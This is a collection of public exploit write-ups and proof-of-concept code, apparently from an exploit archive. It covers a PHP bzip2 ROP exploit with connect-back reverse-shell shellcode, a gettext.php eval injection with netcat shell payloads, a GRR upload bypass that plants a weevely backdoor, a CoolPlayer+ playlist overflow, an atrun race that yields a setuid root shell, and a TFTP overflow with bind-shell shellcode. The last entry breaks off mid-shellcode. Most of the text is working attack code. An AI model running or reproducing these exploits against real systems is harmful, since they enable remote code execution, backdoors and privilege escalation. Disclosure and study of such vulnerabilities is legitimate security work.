| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
| 
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
| 
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
| 
| cat upload.php
| <?php
| $fp = bzopen($_FILES["file"]["tmp_name"], "r");
| if ($fp === FALSE) {
|     exit("ERROR: bzopen()");
| }
| 
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
| bzclose($fp);
| ?>
`----


Solution
========

This issue has been assigned CVE-2016-5399 and can be mitigated by
calling bzerror() on the handle between invocations of bzip2.

Another partial solution has been introduced in PHP 7.0.9 and 5.5.38,
whereby the stream is marked as EOF when an error is encountered;
allowing this flaw to be avoided by using feof().  However, the PHP
project considers this to be an issue in the underlying bzip2
library[3].



Footnotes
_________

[1] [https://secure.php.net/manual/en/function.bzread.php]

[2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399]

[3] [https://bugs.php.net/bug.php?id=72613]


-- Hans Jerry Illikainen
'''
#!/usr/bin/env python
#
# PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm
# behind nginx.
#
# ,----
# | $ nc -v -l 1.2.3.4 5555 &
# | Listening on [1.2.3.4] (family 0, port 5555)
# |
# | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
# | [*] sending archive to http://target/upload.php (0)
# |
# | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
# | $ fg
# | id
# | uid=80(www) gid=80(www) groups=80(www)
# |
# | uname -imrsU
# | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
# |
# | /usr/sbin/pkg query -g "=> %n-%v" php*
# | => php70-7.0.8
# | => php70-bz2-7.0.8
# |
# | cat upload.php
# | <?php
# | $fp = bzopen($_FILES["file"]["tmp_name"], "r");
# | if ($fp === FALSE) {
# |     exit("ERROR: bzopen()");
# | }
# |
# | $data = "";
# | while (!feof($fp)) {
# |     $res = bzread($fp);
# |     if ($res === FALSE) {
# |         exit("ERROR: bzread()");
# |     }
# |     $data .= $res;
# | }
# | bzclose($fp);
# | ?>
# `----
#
# - Hans Jerry Illikainen <hji@dyntopia.com>
#
import argparse
import socket
from struct import pack

import requests
import bitstring

# reverse shell from metasploit
shellcode = [
    "\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f"
    "\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6"
    "\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10"
    "\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58"
    "\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f"
    "\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52"
    "\x57\x48\x89\xe6\x0f\x05"
]

# we're bound by the MTF and can only reuse values on the stack
# between pos[0]..pos[255]
selectors = [
    # retaddr:
    #   0x8009c9462: lea    rsp,[rbp-0x20]
    #   0x8009c9466: pop    rbx
    #   0x8009c9467: pop    r12
    #   0x8009c9469: pop    r14
    #   0x8009c946b: pop    r15
    #   0x8009c946d: pop    rbp
    #   0x8009c946e: ret
    #
    # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
    9, 10, 11, 18, 1, 88, 31, 127,

    # rbp:
    #   0x802974300 (close to the end of the stream)
    16, 17, 18, 29, 22, 152, 159, 25,

    # push it back
    17, 18, 19, 20, 21, 22, 23, 24,
    25, 26, 27, 28, 29, 30, 31, 32,
    33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48,
    49, 50, 51, 52, 53, 54, 55, 56,
    57, 58, 59, 60, 61, 62
]

payload = [
    # addr
    #
    # 0x41c4c8: pop    rdi
    # 0x41c4c9: ret
    pack("<Q", 0x41c4c8),
    pack("<Q", 0x0802973000),

    # len
    #
    # 0x421508: pop    rsi
    # 0x421509: ret    0x0
    pack("<Q", 0x421508),
    pack("<Q", 0x5555),

    # prot
    #
    # 0x519b3a: pop    rdx
    # 0x519b3b: ret
    pack("<Q", 0x519b3a),
    pack("<Q", 0x7),

    # mprotect
    #
    # 0x5adf50: pop    rax
    # 0x5adf51: ret
    pack("<Q", 0x5adf50),
    pack("<Q", 74),

    # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
    #
    # 0x8009d5168: syscall
    # 0x8009d516a: jb 0x8009d9d00
    # 0x8009d5170: ret
    pack("<Q", 0x08009d5168),
    pack("<Q", 0x08029731b7),

    "%(shellcode)s",

    "%(pad)s",

    # 0x45de9c: pop rsp
    # 0x45de9d: ret
    pack("<Q", 0x45de9c),
    pack("<Q", 0x0802973167),
]


def get_payload(ip, port):
    sc = "".join(shellcode) % {
        "ip": socket.inet_aton(ip),
        "port": pack("!H", port)
    }
    return "".join(payload) % {
        "shellcode": sc,
        "pad": "\x90" * (4433 - len(sc)),
    }


def get_header():
    b = bitstring.BitArray()
    b.append("0x425a")             # magic
    b.append("0x68")               # huffman
    b.append("0x31")               # block size (0x31 <= s <= 0x39)
    b.append("0x314159265359")     # compressed magic
    b.append("0x11223344")         # crc
    b.append("0b0")                # not randomized
    b.append("0x000000")           # pointer into BWT
    b.append("0b0000000000000001") # mapping table 1
    b.append("0b0000000000000001") # mapping table 2
    b.append("0b110")              # number of Huffman groups (1 <= n <= 6)
    b.append(format(len(selectors), "#017b")) # number of selectors

    # selector list
    for s in selectors:
        b.append("0b" + "1" * s + "0")

    # BZ_X_CODING_1 (1 <= n <= 20).  we want a fail to make
    # BZ2_decompress() bail as early as possible into the
    # first gadget since the stack will be kind of messed up
    b.append("0b00000")

    return b.tobytes()


def send_bzip2(url, bzip2):
    try:
        req = requests.post(url, files={"file": bzip2}, timeout=5)
    except requests.exceptions.Timeout:
        return 0
    return req.status_code


def get_args():
    p = argparse.ArgumentParser()
    p.add_argument("--ip", required=True, help="connect-back ip")
    p.add_argument("--port", required=True, type=int, help="connect-back port")
    p.add_argument("--attempts", type=int, default=10)
    p.add_argument("url")
    return p.parse_args()


def main():
    args = get_args()
    bzip2 = get_header() + get_payload(args.ip, args.port)

    for i in range(args.attempts):
        print("[*] sending archive to %s (%d)" % (args.url, i))
        status = send_bzip2(args.url, bzip2)
        if status == 0:
            break
        elif status == 404:
            exit("[-] 404: %s" % args.url)

if __name__ == "__main__":
    main()
            
[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

# Date: June 25th, 2016
# Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security
# Project Homepage: https://launchpad.net/php-gettext/
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
# Version: 1.0.12 (latest release)
# Tested on: Linux Debian, PHP 5.6.19-2+b1

# CVSS: 7.1
# OVE ID: OVE-20160705-0004
# CVE ID: CVE-2016-6175
# OSVDB ID: n/a

# Thanks:
Lars Michelsen from NagVis project where this bug was discovered and
Danilo Segan from gettext.php team project for their reactivity and professionalism

# Credits:
https://bugs.launchpad.net/php-gettext/+bug/1606184
https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53

# Fixes:
https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php
https://bugs.launchpad.net/php-gettext/+bug/1606184

gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue


I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.
This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.


II. ADVISORY

A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file.
The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.


III. VULNERABILITY DESCRIPTION

The gettext_reader() funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";

If it seems correct then we'll continue.
We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:

plural-forms: ([^\n]*)\n

(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.


Here is the impacted code snippet :

snip...
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
$expr = $regs[1];
else

$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

$this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!!
}
snip...


The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.



Comments are :

/** Sanitize plural form expression for use in PHP eval call.
@access private
@return string sanitized plural form expression**/

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...
function sanitize_plural_expression($expr) {

// Get rid of disallowed characters.
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
// Add parenthesis for tertiary '?' operator.
   
$expr .= ';';
$res = '';
$p = 0;

for ($i = 0; $i < strlen($expr); $i++) { // indentation ?
$ch = $expr[$i];
   
switch ($ch) {

case '?':
$res .= ' ? (';
$p++;

break;

case ':':
$res .= ') : (';

break;

case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;

break;

default:

$res .= $ch;

}
}
return $res;
}
snip...


Code snippet from the vulnerable function that execute eval() on the « sanitized string :


snip...
$string = $this->get_plural_forms();
$string = str_replace('nplurals',"\$total",$string);
$string = str_replace("n",$n,$string);
$string = str_replace('plural',"\$plural",$string);

$total = 0;
$plural = 0;

eval("$string"); // eval called .... launch my shell baby !
snip...


However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.
A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.
He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless !

Note :
Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :

$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say:

« there is more than one way to do it »


IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version
(without a crafted .mo file and joined with this advisory).


<?php
//$expr= ("system(sh)");  // payload1
//$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant
$expr=("phpinfo()"); // payload2 (PoC)

//$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);//  vuln
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/

$expr .= ';';

 // Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) {
    $ch = $expr[$i];
    switch ($ch) {
        case '?':
            $res .= ' ? (';
            $p++;
            break;
        case ':':
            $res .= ') : (';
            break;
        case ';':
            $res .= str_repeat( ')', $p) . ';';
            $p = 0;
            break;
    default:
        $res .= $ch;
    }
}
   
// Vulnerable function :
$n= (1);
$total=("1000");

 if (!is_int($n)) {
      throw new InvalidArgumentException(
        "Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php
}

$string = str_replace('nplurals',"\$total",$res);
$string = str_replace("n",$res,$res);
$string = str_replace('plural',"\$plural",$res);
eval("$string");
?>


V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.
The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.



VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.


VII. TIMELINE

June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure


VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenticated)

# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) | @kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"

# CVSS score: 9.9
# OVE ID: OVE-20160705-0044
# CVE ID: Not Requested

# Credits: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
# Fix:     https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php


I. APPLICATION
======================================================================================

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================
 
 
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
 
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.
 
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.
 
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
 
It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).
 
So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).
 
To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.
 
This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.
 
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
 
III. VULNERABLE CODE
======================================================================================

snip..
// Enregistrement du logo
    $doc_file = isset($_FILES["doc_file"]) ? $_FILES["doc_file"] : NULL;
    if (preg_match("`\.([^.]+)$`", $doc_file['name'], $match))
    {
        $ext = strtolower($match[1]);
        if ($ext != 'jpg' && $ext != 'png' && $ext != 'gif') // Vulnerability !! Extension are the only "security" test on submitted files !!
        {
    $msg .= "L\'image n\'a pas pu être enregistrée : les seules extentions autorisées sont gif, png et jpg.\\n";
    $ok = 'no';
}
else
{
    $dest = '../images/';
    $ok1 = false;
    if ($f = @fopen("$dest/.test", "w"))
    {
        @fputs($f, '<'.'?php $ok1 = true; ?'.'>'); // Hem...
        @fclose($f);
        include("$dest/.test");
    }
    if (!$ok1)
    {
        $msg .= "L\'image n\'a pas pu être enregistrée : problème d\'écriture sur le répertoire \"images\". Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
        $ok = 'no';
    }
    else
    {
        $ok1 = @copy($doc_file['tmp_name'], $dest.$doc_file['name']);
        if (!$ok1)
            $ok1 = @move_uploaded_file($doc_file['tmp_name'], $dest.$doc_file['name']);
        if (!$ok1)
        {
            $msg .= "L\'image n\'a pas pu être enregistrée : problème de transfert. Le fichier n\'a pas pu être transféré sur le répertoire IMAGES. Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
            $ok = 'no';
        }
        else
        {
            $tab = explode(".", $doc_file['name']);
            $ext = strtolower($tab[1]);
            if ($dest.$doc_file['name']!=$dest."logo.".$ext)
            {
                if (@file_exists($dest."logo.".$ext))
                    @unlink($dest."logo.".$ext);
                rename($dest.$doc_file['name'],$dest."logo.".$ext); // Vulnerability: if filename is "backdoor.php.jpg" we rename it as "logo.php" !!

            }
            @chmod($dest."logo.".$ext, 0666); // Vulnerability: why chmod 0666 on this f****** file!?!?

            $picture_room = "logo.".$ext;
            if (!Settings::set("logo", $picture_room))
            {
                $msg .= "Erreur lors de l'enregistrement du logo !\\n";
                $ok = 'no';
            }
        }
    }
}
snip...
 
IV. PROOF OF CONCEPT
======================================================================================
 
Generate backdoor:
 
    kmkz@Tapz:~#  weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
    kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
 
 
Login as admin and upload this new 'logo' > Administration > logo
 
Enjoy your shell!
 
    kmkz@Tapz:~# weevely http://server/images/logo.php pass123
    [+] weevely 3.2.0
 
    [+] Target:    server:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell
 
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
 
    weevely> whoami
    autorite nt\system
 
 
 
V. RISK
======================================================================================
By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
 
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to  full information system's compromise using pivots techniques and imagination!
 
 
VI. VERSIONS AFFECTED
======================================================================================
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
 
 
VII. TIMELINE
======================================================================================
December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure


VII. LEGAL NOTICES
======================================================================================
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
# Exploit Title: [CoolPlayer+ Portable build 2.19.6 - .m3u Stack Overflow [Egghunter+ASLR bypass]] 
# Exploit Author: [Karn Ganeshen] 
# Download link: [https://sourceforge.net/projects/portableapps/files/CoolPlayer%2B%20Portable/CoolPlayerPlusPortable_2.19.6.paf.exe/download?use_mirror=liquidtelecom]
# Version: [Current version 2.19.6] 
# Tested on: [Windows Vista Ultimate SP2] 
# 
# Couple of bof exploits for older versions already on EDB:
# https://www.exploit-db.com/search/?action=search&description=coolplayer

#!/usr/bin/python

total_buf = 2000

filename="evil.m3u"

# msfvenom -p windows/exec cmd=calc.exe -b \x00\x0a\x0c\0d EXITFUN=thread -f c
# Payload size: 220 bytes

shellcode = ("\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x9a\xc7\xdb\xe9\x31\xc9\xb1"
"\x31\x31\x58\x18\x83\xe8\xfc\x03\x58\x8e\x25\x2e\x15\x46\x2b"
"\xd1\xe6\x96\x4c\x5b\x03\xa7\x4c\x3f\x47\x97\x7c\x4b\x05\x1b"
"\xf6\x19\xbe\xa8\x7a\xb6\xb1\x19\x30\xe0\xfc\x9a\x69\xd0\x9f"
"\x18\x70\x05\x40\x21\xbb\x58\x81\x66\xa6\x91\xd3\x3f\xac\x04"
"\xc4\x34\xf8\x94\x6f\x06\xec\x9c\x8c\xde\x0f\x8c\x02\x55\x56"
"\x0e\xa4\xba\xe2\x07\xbe\xdf\xcf\xde\x35\x2b\xbb\xe0\x9f\x62"
"\x44\x4e\xde\x4b\xb7\x8e\x26\x6b\x28\xe5\x5e\x88\xd5\xfe\xa4"
"\xf3\x01\x8a\x3e\x53\xc1\x2c\x9b\x62\x06\xaa\x68\x68\xe3\xb8"
"\x37\x6c\xf2\x6d\x4c\x88\x7f\x90\x83\x19\x3b\xb7\x07\x42\x9f"
"\xd6\x1e\x2e\x4e\xe6\x41\x91\x2f\x42\x09\x3f\x3b\xff\x50\x55"
"\xba\x8d\xee\x1b\xbc\x8d\xf0\x0b\xd5\xbc\x7b\xc4\xa2\x40\xae"
"\xa1\x5d\x0b\xf3\x83\xf5\xd2\x61\x96\x9b\xe4\x5f\xd4\xa5\x66"
"\x6a\xa4\x51\x76\x1f\xa1\x1e\x30\xf3\xdb\x0f\xd5\xf3\x48\x2f"
"\xfc\x97\x0f\xa3\x9c\x79\xaa\x43\x06\x86")

# Egghunter - 32 bytes
eggh = ("\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74" 
"\xef\xb8\x54\x30\x30\x57\x8b\xfa" 
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

# EIP overwrite appears to depend upon location from where the evil file is loaded from
# Tested from location - C:\
# For e.g. offset will be different if file is loaded from C: (260) vs C:\Windows\ (249)

junk = "A"*28
eip = "\xa1\x99\x42\x00" # 0x004299a1 jmp ebx - coolplayer+.exe [noaslr,norebase,nosafeseh]

evil = junk + eggh + "\x90"*200 + eip + "\x90"*18 + "T00WT00W" + shellcode + "\x90"*1490

file = open(filename , 'w')
file.write(evil)
file.close()
            
// Source: http://akat1.pl/?id=2

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>

#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"

static int
overwrite_atrun(void)
{
        char *script = "#! /bin/sh\n"
            "cp /bin/ksh /tmp/ksh\n"
            "chmod +s /tmp/ksh\n";
        size_t size;
        FILE *fh;
        int rv = 0;

        fh = fopen(ATRUNPATH, "wb");

        if (fh == NULL) {
                rv = -1;
                goto out;
        }

        size = strlen(script);
        if (size != fwrite(script, 1, strlen(script), fh)) {
                rv =  -1;
                goto out;
        }

out:
        if (fh != NULL && fclose(fh) != 0)
                rv = -1;

        return rv;
}

static int
copy_file(const char *from, const char *dest, int create)
{
        char buf[1024];
        FILE *in = NULL, *out = NULL;
        size_t size;
        int rv = 0, fd;

        in = fopen(from, "rb");
        if (create == 0)
                out = fopen(dest, "wb");
        else {
                fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
                    S_IWUSR);
                if (fd == -1) {
                        rv = -1;
                        goto out;
                }
                out = fdopen(fd, "wb");
        }

        if (in == NULL || out == NULL) {
                rv = -1;
                goto out;
        }

        while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
                if (fwrite(&buf, 1, size, in) != 0) {
                        rv = -1;
                        goto out;
                }
        }

out:
        if (in != NULL && fclose(in) != 0)
                rv = -1;
        if (out != NULL && fclose(out) != 0)
                rv = -1;
        
        return rv;
}

int
main()
{
        pid_t pid;
        uid_t uid;
        struct stat sb;
        char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

        umask(0077);

        login = getlogin();

        if (login == NULL)
                err(EXIT_FAILURE, "who are you?");

        uid = getuid();

        asprintf(&mailbox, MAILDIR "/%s", login);

        if (mailbox == NULL)
                err(EXIT_FAILURE, NULL);

        if (access(mailbox, F_OK) != -1) {
                /* backup mailbox */
                asprintf(&mailbox_backup, "/tmp/%s", login);
                if (mailbox_backup == NULL)
                        err(EXIT_FAILURE, NULL);
        }

        if (mailbox_backup != NULL) {
                fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
                    mailbox_backup);

                if (copy_file(mailbox, mailbox_backup, 1))
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* backup atrun(1) */
        atrun_backup = strdup("/tmp/atrun");
        if (atrun_backup == NULL)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
            atrun_backup);

        if (copy_file(ATRUNPATH, atrun_backup, 1))
                err(EXIT_FAILURE, "[-] failed");

        /* win the race */
        fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);

        switch (pid = fork()) {
        case -1:
                err(EXIT_FAILURE, NULL);
                /* NOTREACHED */

        case 0:
                asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
                    "2> /dev/null", login);

                for(;;)
                        system(buf);
                /* NOTREACHED */

        default:
                umask(0022);
                for(;;) {
                        int fd;
                        unlink(mailbox);
                        symlink(ATRUNPATH, mailbox);
                        sync();
                        unlink(mailbox);
                        fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
                        close(fd);
                        sync();
                        if (lstat(ATRUNPATH, &sb) == 0) {
                                if (sb.st_uid == uid) {
                                        kill(pid, 9);
                                        fprintf(stderr, "[+] won race!\n");
                                        break;
                                }
                        }
                }
                break;
        }
        (void)waitpid(pid, NULL, 0);

        if (mailbox_backup != NULL) {
                /* restore mailbox */
                fprintf(stderr, "[+] restore mailbox %s to %s\n",
                    mailbox_backup, mailbox);

                if (copy_file(mailbox_backup, mailbox, 0))
                        err(EXIT_FAILURE, "[-] failed");
                if (unlink(mailbox_backup) != 0)
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* overwrite atrun */
        fprintf(stderr, "[+] overwriting atrun(1)\n");

        if (chmod(ATRUNPATH, 0755) != 0)
                err(EXIT_FAILURE, NULL);

        if (overwrite_atrun())
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] waiting for atrun(1) execution...\n");

        for(;;sleep(1)) {
                if (access("/tmp/ksh", F_OK) != -1)
                        break;
        }

        /* restore atrun */
        fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
            ATRUNPATH);

        if (copy_file(atrun_backup, ATRUNPATH, 0))
                err(EXIT_FAILURE, "[-] failed");
        if (unlink(atrun_backup) != 0)
                err(EXIT_FAILURE, "[-] failed");

        if (chmod(ATRUNPATH, 0555) != 0)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
            "ownership.\n");
        fprintf(stderr, "Enjoy your shell:\n");

        execl("/tmp/ksh", "ksh", NULL);

        return 0;
}
            
# Exploit Title: [TFTP Server 1.4 - WRQ Buffer Overflow Exploit [Egghunter]]
# Exploit Author: [Karn Ganeshen]
# Vendor Homepage: [http://sourceforge.net/projects/tftp-server/]
# Version: [1.4]
# Tested on: [Windows Vista SP2]
#
# Coded this for Vista Ultimate, Service Pack 2
# 3-byte overwrite + short jump + Egghunter
# Standalone mode
#
# Couple of overflow exploits already here for this tftp, none for Vista SP2 + Egghunter:
#     http://www.exploit-db.com/exploits/5314/
#     http://www.exploit-db.com/exploits/10542/
#     http://www.exploit-db.com/exploits/5563/
#     https://www.exploit-db.com/exploits/18345/
#

#!/usr/bin/python

import socket
import sys

host = '192.168.49.187'
port = 69

try:
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

# msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes

shellcode = (
"\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f"
"\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50"
"\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43"
"\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f"
"\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b"
"\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32"
"\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c"
"\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61"
"\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72"
"\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b"
"\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76"
"\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53"
"\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73"
"\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b"
"\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c"
"\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44"
"\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59"
